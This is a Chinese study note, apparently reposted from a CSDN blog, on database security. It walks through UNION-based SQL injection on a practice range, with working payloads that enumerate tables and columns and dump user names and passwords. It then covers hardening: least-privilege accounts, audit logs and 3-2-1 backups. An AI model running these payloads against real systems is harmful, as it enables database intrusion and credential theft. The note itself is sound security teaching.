一、学习数据库安全基础
(一)sql注入实战:联合查询
1、已知该靶场是get方式的,可以通过修改参数查询姓名信息。

2、可以通过post方式修改参数查询姓名信息。(借助插件在插件上输入信息)

3、尝试使用联合注入的方式回显内容的字段数,最后直到6没有报错,说明该数据库的数据表中有六个字段
4、将查询的第一个选项选为0或以下,让第一个查询结果为空 通过联合注入的方式只查询第二个查询结果,看得到的数是什么,说明回显的是第几个字段
5、在回显的字段中填入database(),使其回显当前所在的数据库的库名。
(二)信息收集-库、表、字段
1、查库名
union select 1,database(),3,4,5,6

2、查表名
union select 1,(table_name),3,4,5,6 from information_schema.tables where table_schema=database() limit 0,1

3、查字段名
union select 1,column_name,3,4,5,6 from information_schema.columns where table_schema=database() and table_name='users' limit 0,1

4、脱库拿数据
(1)使用concat 把账号密码拼接在一起回显回来
union select 1,concat(name,':',password),3,4,5,6 from users limit 0,1
(2)使用group_concat 可以把属于name,password的值全部打包放在一起回显回来
union select 1,group_concat(name,password),3,4,5,6 from users limit 0,1
(三)数据库安全加固策略
1、核心思想:权限“刚好够用”
为应用程序分配仅能完成其工作所需的最小权限集,避免过度授权。
2、创建独立用户:
(1)创建用户
CREATE USER 'appuser'@'localhost' IDENTIFIED BY '密码';
如 CREATE USER 'qingfeng'@'localhost' IDENTIFIED BY '123456';

(2)对用户赋予只限数据库school的查询、增加、修改权限
GRANT SELECT, INSERT, UPDATE ON school.* TO 'qingfeng'@'localhost';
(3)创建用户和赋予权限后要刷新权限
flush PRIVILEGES
(4)严禁事项 (红线)
绝对禁止使用 root等超级管理员权限账号运行应用程序,防止权限
滥用与提权攻击。
3、开启审计日志
set global general_log=on;
(1)查看日志位置
show variables like 'general_log_file';

(2)安全审计与取证
记录所有SQL操作,用于行为追踪。即使遭遇攻击,也能通过日志分
析黑客操作路径,是事后溯源的关键证据。
4、数据备份
3 份备份 (3 Copies) 原始数据 + 至少两份副本,确保数据不丢失。
2 种介质 (2 Media) 使用不同的存储介质,如本地硬盘 + 云存储,避免单点故障。
1 份离线 (1 Offsite) 至少有一份备份是离线存储的,如移动硬盘,防止被远程删除。
转载自CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/Zqh1229678027/article/details/161839560



